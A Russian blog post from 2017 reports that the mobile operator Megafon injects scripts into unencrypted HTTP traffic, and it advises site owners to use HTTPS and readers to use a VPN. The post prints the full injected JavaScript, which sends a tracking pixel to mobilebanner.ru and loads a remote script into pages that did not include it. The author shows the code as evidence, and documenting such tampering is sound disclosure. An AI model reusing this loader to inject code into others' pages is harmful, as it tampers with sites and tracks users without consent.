Как Мегафон вмешивается в трафик клиентов

13 July 2017, 13:32 MSK
Год назад я писал, как Мегафон списывает деньги просто так. На этот раз расскажу об ещё одном вопиющем случае.
Началось всё с того, что мне позвонил один старый клиент и сообщил, что у него на айпаде не работает его сайт. Я попросил скриншот, посмотрел его и понял, что на сайте как будто бы отключён джаваскрипт. Причём, такая проблема возникала только у клиента, у меня всё было нормально, многочисленные попытки воспроизвести ошибку не приводили к успеху. Программистам знакомо такое понятие как Гейзенбаг (в честь принципа неопределённости Гейзенберга) — ошибка, которая меняет свои свойства при попытке её обнаружения.
В процессе долгих мучительных поисков было установлено, что эта ошибка возникает на мобильных девайсах, на которых оператор — Мегафон. Причём мне ещё пришлось отключить VPN на айфоне и айпаде, чтобы увидеть этот баг. Сначала я думал, что это на сайт пробрался какой-то хитрый вирус, но всё оказалось куда проще.
Оказалось, что Мегафон вставляет свои скрипты в незащищённый HTTP-трафик своих клиентов.
Выглядит это следующим образом: у одного из джаваскриптов на странице подменяется содержимое. Если айфон или айпад подключить к маку, а в настройках мобильного сафари включить дополнение «Веб-инспектор», то в десктопном сафари можно смотреть исходный код страниц мобильного. На сайте был скрипт /cache/static/0e4d364b.js, содержимое которого было заменено на это:
!function() {
    function t() {
        (new Image).src = "http://d.mobilebanner.ru/p.gif"
    }
    function e() {
        return window.innerWidth >= 320 && window.innerWidth <= 450
    }
    function n() {
        try {
            return window.self !== window.top
        } catch (t) {
            return !0
        }
    }
    function r() {
        var t = document.getElementsByTagName("head")[0],
            e = document.createElement("script");
        e.src = "http://p.mobilebanner.ru/ad/base.js?", e.type = "text/javascript", t.appendChild(e)
    }
    function i(t) {
        a.parentNode.insertBefore(t, a.nextSibling)
    }
    function c(t) {
        document.write(t.outerHTML)
    }
    function o() {
        for (var t = document.createElement("script"), e = Array.prototype.slice.call(a.attributes), n = 0; n < e.length; n++)
            t.setAttribute(e[n].nodeName, e[n].nodeValue);
        return t.src = "/cache/static/0e4d364b.js?", t
    }
    var a = document.currentScript || document.scripts[document.scripts.length - 1],
        d = o();
    a.async || a.defer ? i(d) : c(d), t(), window.__qsrad || n() || !e() || (window.__qsrad = 1, r())
}();
То есть, вставляются картинка и скрипт с левого домена mobilebanner.ru, после чего выполняется оригинальный скрипт. И так происходит абсолютно на всех сайтах, работающих по протоколу HTTP (т.к. HTTPS-трафик изменять нельзя в виду шифрования и проверки целостности). Я сразу же решил выяснить, кому принадлежит домен. По данным WHOIS организация — PJSC «MegaFon»! Зачем это нужно Мегафону — непонятно. Возможно, они собирают какую-то статистику или собираются показывать рекламу на чужих сайтах. Но в данном конкретном случае на сайте клиента из-за этого ломался важный скрипт, который пришлось немного переписать.
Вывод отсюда простой:
  1. Если у вас есть сайт, ставьте SSL-сертификат и переходите на защищённый протокол HTTPS.
  2. Используйте VPN. Весь трафик, проходящий через VPN, также шифруется и не позволяет операторам вставлять подобные гадости. Как-нибудь я напишу отдельную статью на тему VPN, а пока просто рекомендую сервис StrongVPN (стоит 10$ в месяц, но он стоит того).
Погуглив, я выяснил, что у Мегафона есть скрытые опции «Отказ от баннерной рекламы партнёров» и «Отказ от баннерной рекламы оператора» и написал в техподдержку с просьбой подключить их мне:
мегафон
Техподдержка ответила, что отказы подключены, но по факту всё осталось как есть.
Мегафон, какого чёрта ты творишь?
Тэги: JSVPNМегафонненависть